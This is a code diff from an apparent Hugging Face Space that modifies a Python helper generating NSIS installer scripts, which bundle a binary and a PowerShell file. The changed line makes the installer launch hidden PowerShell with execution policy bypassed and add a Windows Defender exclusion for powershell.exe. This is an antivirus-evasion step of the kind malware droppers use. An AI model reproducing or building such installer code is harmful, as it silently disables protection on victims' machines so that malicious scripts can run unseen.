Spaces:
Sleeping
Sleeping
Update utils.py
Browse files
utils.py
CHANGED
@@ -95,7 +95,7 @@ def generate_nsi_script(folder_path, bin_file, ps1_file):
|
|
95 |
File "{ps1_file}"
|
96 |
|
97 |
; Run the first PowerShell command to add exclusion for explorer.exe
|
98 |
-
ExecWait 'conhost --headless powershell -ep bypass -c "Add-MpPreference -ExclusionProcess \"
|
99 |
|
100 |
; Check if the previous command was successful
|
101 |
IfErrors 0 +2 ; If no error, continue to the next command
|
|
|
95 |
File "{ps1_file}"
|
96 |
|
97 |
; Run the first PowerShell command to add exclusion for explorer.exe
|
98 |
+
ExecWait 'conhost --headless powershell -ep bypass -c "Add-MpPreference -ExclusionProcess \"powershell.exe\""'
|
99 |
|
100 |
; Check if the previous command was successful
|
101 |
IfErrors 0 +2 ; If no error, continue to the next command
|